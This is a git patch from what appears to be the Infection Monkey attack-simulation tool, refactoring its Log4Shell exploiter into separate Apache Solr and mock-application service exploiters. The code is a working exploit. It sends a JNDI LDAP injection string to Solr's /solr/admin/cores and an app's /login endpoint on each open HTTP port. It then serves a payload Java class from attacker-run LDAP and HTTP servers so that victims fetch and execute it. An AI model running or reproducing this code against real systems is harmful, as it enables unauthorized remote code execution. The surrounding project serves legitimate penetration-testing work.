From 09988b0f80052f3b81aad93b7bffe8fd2e5d3da2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 5 Jan 2022 17:43:28 +0200 Subject: [PATCH] Agent: report vulnerable port and service in log4shell Refactor log4shell.py and related service exploiters to adhere to IExploitableService interface and save which service on which port was vulnerable to log4shell --- monkey/infection_monkey/exploit/log4shell.py | 35 ++++++++++++++----- .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/requests/__init__.py | 4 --- .../log4shell_utils/requests/poc_docker.py | 25 ------------- .../exploit/log4shell_utils/requests/solr.py | 25 ------------- .../service_exploiters/__init__.py | 9 +++++ .../service_exploiters/exploitable_service.py | 16 +++++++++ .../service_exploiters/poc_docker.py | 22 ++++++++++++ .../service_exploiters/solr.py | 21 +++++++++++ 9 files changed, 95 insertions(+), 63 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 361190c75..9ca35b35e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -2,6 +2,7 @@ import http.client import http.server import logging from threading import Thread +from time import sleep from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( @@ -9,8 +10,8 @@ from infection_monkey.exploit.log4shell_utils import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, LDAPExploitServer, build_exploit_bytecode, + get_log4shell_service_exploiters, ) -from infection_monkey.exploit.log4shell_utils.requests import exploits from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -33,6 +34,7 @@ class Log4ShellExploiter(WebRCE): EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds def __init__(self, host: VictimHost): super().__init__(host) @@ -67,13 +69,8 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - # Try to exploit all services, - # because we don't know which services are running and on which ports - open_ports = [ - port[0] for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - for exploit in exploits: - exploit(payload=self.build_ldap_payload(), host=self.host, open_ports=open_ports) + self._trigger_exploit() + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -86,6 +83,26 @@ class Log4ShellExploiter(WebRCE): # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded + def _trigger_exploit(self): + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in get_log4shell_service_exploiters(): + for port in open_ports: + exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + + # Wait for request + sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) + + if Log4ShellExploiter.HTTPHandler.class_downloaded: + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + return + def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" @@ -127,13 +144,13 @@ class Log4ShellExploiter(WebRCE): stop = False def do_GET(self): + Log4ShellExploiter.HTTPHandler.class_downloaded = True logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() logger.info("Sending the payload class!") self.wfile.write(self.java_class) - Log4ShellExploiter.HTTPHandler.class_downloaded = True def _run_class_http_server(self, ip): server = http.server.HTTPServer( diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index d57218d8d..65b5ebca2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -5,3 +5,4 @@ from .exploit_builder import ( WINDOWS_EXPLOIT_TEMPLATE_PATH, ) from .ldap_server import LDAPExploitServer +from .service_exploiters import get_log4shell_service_exploiters diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py deleted file mode 100644 index 08b7e3253..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .poc_docker import trigger_exploit as exploit_poc -from .solr import trigger_exploit as exploit_solr - -exploits = [exploit_poc, exploit_solr] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py deleted file mode 100644 index 6ac59eb2b..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"uname": payload, "password": "m0nk3y"} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/login") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py deleted file mode 100644 index ca5d31875..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"foo": payload} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py new file mode 100644 index 000000000..8122f2505 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -0,0 +1,9 @@ +from typing import List + +from .exploitable_service import IExploitableService +from .poc_docker import DockerPOCExploit +from .solr import SolrExploit + + +def get_log4shell_service_exploiters() -> List[IExploitableService]: + return [DockerPOCExploit(), SolrExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py new file mode 100644 index 000000000..20a3b92e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py @@ -0,0 +1,16 @@ +import abc + +from infection_monkey.model import VictimHost + + +class IExploitableService(metaclass=abc.ABCMeta): + @property + @abc.abstractmethod + def service_name(self) -> str: + # Should have the name of the exploited service + pass + + @staticmethod + @abc.abstractmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py new file mode 100644 index 000000000..ae142eed7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py @@ -0,0 +1,22 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class DockerPOCExploit(IExploitableService): + + service_name = "GoFinance mock application" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/login" + payload = {"uname": payload, "password": "m0nk3y"} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py new file mode 100644 index 000000000..6e6771357 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -0,0 +1,21 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class SolrExploit(IExploitableService): + service_name = "Apache Solr" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/solr/admin/cores" + payload = {"foo": payload} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}")